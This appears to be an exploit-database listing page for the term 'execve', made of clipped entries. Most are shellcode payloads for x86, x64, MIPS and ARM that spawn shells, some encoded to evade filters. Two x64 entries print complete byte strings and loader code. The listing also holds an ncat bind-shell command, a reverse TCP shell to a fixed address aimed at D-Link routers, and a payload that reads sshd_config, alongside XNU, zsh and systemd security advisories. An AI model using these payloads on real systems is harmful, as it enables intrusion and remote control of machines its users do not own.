iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe

Privileged IPC services in userspace often have to verify the security context of their client processes such as whether the client is sandboxed, has a specific entitlement, or is signed by some code signing authority. This, in turn, requires a way to identify a client process. If PIDs are used f...

iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe Exploit

iOS 12.2 / macOS 10.14.4 XNU - pidversion Increment During execve is Unsafe Exploit Privileged IPC services in userspace often have to verify the security context of their client processes such as whether the client is sandboxed, has a specific entitlement, or is signed by some code signing...

Linux/x86 - NOT Encoder / Decoder - execve(/bin/sh) Shellcode (44 bytes)

/ ; NOT-Encoder.py ; Author: Daniele Votta ; Description: This program encode shellcode with NOT technique. ; Tested on: i686 GNU/Linux ; Shellcode Length:25 !/usr/bin/python Python NOT Encoder Execve /bin/sh shellcode...

Linux/x86 - Polymorphic execve(/bin/sh) Shellcode (63 bytes)

/ ; Date: 09/03/2019 ; PolymorphicExecveShStack.asm ; Author: Daniele Votta ; Description: This program invoke a Polimorphic version of excve. Original ExecveShStack: file format elf32-i386 Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50 push eax 8048083: 68 2f 2f ...

openSUSE Security Update : zsh (openSUSE-2019-687)

This update for zsh to version 5.6 fixes the following security issues : - CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296. - CVE-2018-13259: Shebang lines exceeding 64 characters were truncated...

Linux/x86 - INSERTION Encoder / Decoder execve(/bin/sh) Shellcode (88 bytes)

/ ''' ; Date: 07/03/2019 ; Insertion-Encoder.asm ; Author: Daniele Votta ; Description: This program encode shellcode with insertion technique 0xAA. ; Tested on: i686 GNU/Linux ''' !/usr/bin/python Python Insertion Encoder import random Execve /bin/sh 25 bytes shellcode...

macOS execve(/bin/sh) Null Free Shellcode (31 bytes)

/ Title: macOS - execve/bin/sh + Null-Free Shellcode 31 bytes Tested: macOS 10.14.1 Author: Ken Kitahara Compilation: gcc -o loader loader.c dev:works devuser$ swvers ProductName: Mac OS X ProductVersion: 10.14.1 BuildVersion: 18B75 dev:works devuser$ cat binsh.s section .text global start start:...

SUSE SLED15 / SLES15 Security Update : zsh (SUSE-SU-2018:2686-1)

This update for zsh to version 5.6 fixes the following security issues : CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296. CVE-2018-13259: Shebang lines exceeding 64 characters were truncated,...

Linux/x86 - execve(/usr/bin/ncat -lvp 1337 -e /bin/bash)+Null-Free Shellcode (95 bytes)

/ Linux/x86-execve/usr/bin/ncat -lvp 1337 -e/bin/bash+NULL-FREE Shellcode95 bytes Author : T3jv1l Contact: email protected Twitter:https://twitter.com/T3jv1l Shellcode len : 119 bytes Compilation: gcc shellcode.c -o shellcode Compilation for x64 : gcc -m32 shellcode.c -o shellcode Tested On: Ubun...

Linux systemd Line Splitting

systemd: reexec state injection: fgets on overlong lines leads to line splitting CVE-2018-15686 I am sending this bug report to Ubuntu, even though it's an upstream bug, as requested at https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.mdsecurity-vulnerability-reports . When system...

Linux/x86 - execve(/bin/cat /etc/ssh/sshd_config) Shellcode 44 Bytes

/ Linux/x86 - execve/bin/cat /etc/ssh/sshdconfig Shellcode 44 Bytes Author: Goutham Madhwaraj Tested on: i686 GNU/Linux Shellcode Length: 44 ShoutOut - BarrierSec gcc -fno-stack-protector -z execstack loader-bind.c -o Disassembly of section .text: 08048080 : 8048080: 31 c0 xor eax,eax 8048082: 50...

Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)

/ Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes Author: cq674350529 - execve'/bin/sh', tcp - 192.168.2.157/31337 - used in HTTP Request - tested on D-Link dir-850l router, avoid bad chars '\x00', '\x20', '\x23', '\x0d\x0a' - based on rigan's shellcode...

Linux/MIPS (Big Endian) - execve(/bin/sh) + Reverse TCP 192.168.2.157/31337 Shellcode (181 bytes)

Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes. Shellcode exploit for LinuxMIPS platform / Linux/MIPS Big Endian - execve/bin/sh + Reverse TCP 192.168.2.157/31337 Shellcode 181 bytes Author: cq674350529 Date: 2018-10-07 - execve'/bin/sh', tcp -...

Linux/x86 - execve(/bin/sh) + MMX/ROT13/XOR Shellcode (Encoder/Decoder) (104 bytes)

Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes. Shellcode exploit for Linuxx86 platform Title: Linux/x86 - execve/bin/sh + MMX/ROT13/XOR Shellcode Encoder/Decoder 104 bytes Author: Kartik Durg Date: 201-10-04 Shellcode Length: 104 BYTES Student-ID: SLAE-1233 Write-u...

Linux/x86 - execve(/bin/sh) + NOT/SHIFT-N/XOR-N Encoded Shellcode (50 byes)

Linux/x86 - execve/bin/sh + NOT/SHIFT-N/XOR-N Encoded Shellcode 50 byes. Shellcode exploit for Linuxx86 platform / Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes...

Linux/x86 - execve(/bin/sh) + NOT +SHIFT-N+ XOR-N Encoded Shellcode (50 bytes)

/ Title: Linux\x86 NOT +SHIFT-N+ XOR-N + encoded /bin/sh Shellcode 50 byes Author: Pedro Cabral Purpose: spawn /bin/sh shell Tested On: Ubuntu 16.04.01 LTS Arch: x86 Size: 50 bytes sh.asm global start section .text start: xor eax, eax ; reseting the register push eax ; pushing null terminator pus...

openSUSE Security Update : zsh (openSUSE-2018-1094)

This update for zsh to version 5.6.2 fixes the following issues : These security issues were fixed : - CVE-2018-0502: The beginning of a ! script file was mishandled, potentially leading to an execve call to a program named on the second line bsc1107296 - CVE-2018-13259: Shebang lines exceeding 6...

Linux/x64 - execve ("/bin/bash") Shellcode (27 bytes)

Author: Artr0n Linux/x64 - Execve/bin/bash Shellcode Shellcode Lenght: 27 include include int mainvoid char shellcode = "\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/x64 - execve ("/bin/sh") Shellcode (24 bytes)

Linux/x64 - Execve //bin/sh Shellcode 24 bytes Usage: gcc sc.c -o sc -z execstack include include int mainvoid char shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"; printf"size: %d\n", strlenshellcode; void shellcode; return 0;...

Linux/ARM - Egghunter (PWN!) + execve("/bin/sh", NULL, NULL) Shellcode (28 Bytes)

/ Title: Linux/ARM - Egghunter PWN! + execve"/bin/sh", NULL, NULL Shellcode 28 Bytes Tested: armv7l Raspberry Pi 3 Model B+ Author: Ken Kitahara System Information pi@raspberrypi: $ uname -a Linux raspberrypi 4.14.52-v7+ 1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux pi@raspberrypi: $...